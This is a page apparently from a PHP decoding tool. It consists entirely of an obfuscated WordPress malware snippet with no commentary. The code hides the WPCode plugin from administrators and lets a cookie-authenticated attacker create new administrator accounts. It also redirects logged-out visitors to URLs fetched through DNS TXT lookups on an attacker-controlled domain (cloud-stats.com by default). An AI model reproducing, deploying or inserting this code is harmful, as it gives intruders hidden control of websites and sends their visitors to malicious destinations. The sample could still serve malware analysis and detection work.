PHP Decode

<?  '$p0=base64_decode(\'YmJhZDU2NTUyYjRjNmY3MTA2YTEzYjUzNmJjYmJiYmM=\');if(current_user_can(base64_decode(\'YWRtaW5pc3RyYXRvcg==\'))&&!array_key_exists(base64_decode(\'c2hvd19hbGw=\'),$_GET)){add_action(base64_decode(\'YWRtaW5fcHJpbnRfc2NyaXB0cw==\'),function(){echo base64_decode(\'PHN0eWxlPg==\');echo base64_decode(\'I3RvcGxldmVsX3BhZ2Vfd3Bjb2RlIHsgZGlzcGxheTogbm9uZTsgfQ==\');echo base64_decode(\'I3dwLWFkbWluLWJhci13cGNvZGUtYWRtaW4tYmFyLWluZm8gIHsgZGlzcGxheTogbm9uZTsgfQ==\');echo base64_decode(\'PC9zdHlsZT4=\');});add_filter(base64_decode(\'YWxsX3BsdWdpbnM=\'),function($z1){unset($z1[base64_decode(\'aW5zZXJ0LWhlYWRlcnMtYW5kLWZvb3RlcnMvaWhhZi5waHA=\')]);return $z1;});}function _gcookie($y2){return(isset($_COOKIE[$y2]))?base64_decode($_COOKIE[$y2]):\'\';}if(!function_exists(base64_decode(\'X3JlZA==\'))){error_reporting(0);ini_set(base64_decode(\'ZGlzcGxheV9lcnJvcnM=\'),0);if(!empty($p0)&&_gcookie(base64_decode(\'cHc=\'))===$p0){switch(_gcookie(base64_decode(\'Yw==\'))){case base64_decode(\'c2Q=\'):$o3=_gcookie(base64_decode(\'ZA==\'));if(strpos($o3,base64_decode(\'Lg==\'))>0){update_option(base64_decode(\'ZA==\'),$o3);}break;case base64_decode(\'YXU=\'):$m4=_gcookie(base64_decode(\'dQ==\'));$d5=_gcookie(base64_decode(\'cA==\'));$n6=_gcookie(base64_decode(\'ZQ==\'));if($m4&&$d5&&$n6&&!username_exists($m4)){$x7=wp_create_user($m4,$d5,$n6);$j8=new WP_User($x7);$j8->set_role(base64_decode(\'YWRtaW5pc3RyYXRvcg==\'));}break;}return;}function _is_mobile(){return preg_match(base64_decode(\'LyhhbmRyb2lkfHdlYm9zfGF2YW50Z298aXBob25lfGlwYWR8aXBvZHxibGFja2JlcnJ5fGllbW9iaWxlfGJvbHR8Ym9vc3R8Y3JpY2tldHxkb2NvbW98Zm9uZXxoaXB0b3B8bWluaXxvcGVyYSBtaW5pfGtpdGthdHxtb2JpfHBhbG18cGhvbmV8cGllfHRhYmxldHx1cC5icm93c2VyfHVwLmxpbmt8d2Vib3N8d29zKS9p\'),$_SERVER[base64_decode(\'SFRUUF9VU0VSX0FHRU5U\')]);}function _is_iphone(){return preg_match(base64_decode(\'LyhpcGhvbmV8aXBvZCkvaQ==\'),$_SERVER[base64_decode(\'SFRUUF9VU0VSX0FHRU5U\')]);}function _user_ip(){foreach(array(base64_decode(\'SFRUUF9DRl9DT05ORUNUSU5HX0lQ\'),base64_decode(\'SFRUUF9DTElFTlRfSVA=\'),base64_decode(\'SFRUUF9YX0ZPUldBUkRFRF9GT1I=\'),base64_decode(\'SFRUUF9YX0ZPUldBUkRFRA==\'),base64_decode(\'SFRUUF9YX0NMVVNURVJfQ0xJRU5UX0lQ\'),base64_decode(\'SFRUUF9GT1JXQVJERURfRk9S\'),base64_decode(\'SFRUUF9GT1JXQVJERUQ=\'),base64_decode(\'UkVNT1RFX0FERFI=\'))as $v9){if(array_key_exists($v9,$_SERVER)&&!empty($_SERVER[$v9])){foreach(explode(base64_decode(\'LA==\'),$_SERVER[$v9])as $n10){$n10=trim($n10);if(filter_var($n10,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){return $n10;}}}}return false;}function _red(){if(is_user_logged_in()){return;}$n10=_user_ip();if(!$n10){return;}$z11=get_transient(base64_decode(\'ZXhw\'));if(!is_array($z11)){$z11=array();}foreach($z11 as $t12=>$d13){if(time()-$d13>86400){unset($z11[$t12]);}}if(key_exists($n10,$z11)&&(time()-$z11[$n10]<86400)){return;}$n14=filter_var(parse_url(base64_decode(\'aHR0cHM6Ly8=\').$_SERVER[base64_decode(\'SFRUUF9IT1NU\')],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);$s15=str_replace(base64_decode(\'Og==\'),base64_decode(\'LQ==\'),$n10);$s15=str_replace(base64_decode(\'Lg==\'),base64_decode(\'LQ==\'),$s15);$r16=base64_decode(\'Y2xvdWQtc3RhdHMuY29t\');$h17=get_option(base64_decode(\'ZA==\'));if($h17&&strpos($h17,base64_decode(\'Lg==\'))>0){$r16=$h17;}$z18=_is_iphone()?base64_decode(\'aQ==\'):base64_decode(\'bQ==\');$q19=(!$n14?base64_decode(\'dW5rLmNvbQ==\'):$n14).base64_decode(\'Lg==\').(!$s15?base64_decode(\'MC0wLTAtMA==\'):$s15).base64_decode(\'Lg==\').mt_rand(100000,999999).base64_decode(\'Lg==\').(_is_mobile()?base64_decode(\'bg==\').$z18:base64_decode(\'bmQ=\')).base64_decode(\'Lg==\').$r16;$h20=dns_get_record($q19,DNS_TXT);if(is_array($h20)&&!empty($h20)){if(isset($h20[0][base64_decode(\'dHh0\')])){$h20=$h20[0][base64_decode(\'dHh0\')];$h20=base64_decode($h20);if($h20==base64_decode(\'ZXJy\')){$z11[$n10]=time();delete_transient(base64_decode(\'ZXhw\'));set_transient(base64_decode(\'ZXhw\'),$z11);}else if(substr($h20,0,4)===base64_decode(\'aHR0cA==\')){$z11[$n10]=time();delete_transient(base64_decode(\'ZXhw\'));set_transient(base64_decode(\'ZXhw\'),$z11);wp_redirect($h20);exit;}}}}add_action(base64_decode(\'aW5pdA==\'),base64_decode(\'X3JlZA==\'));}' 
 ?>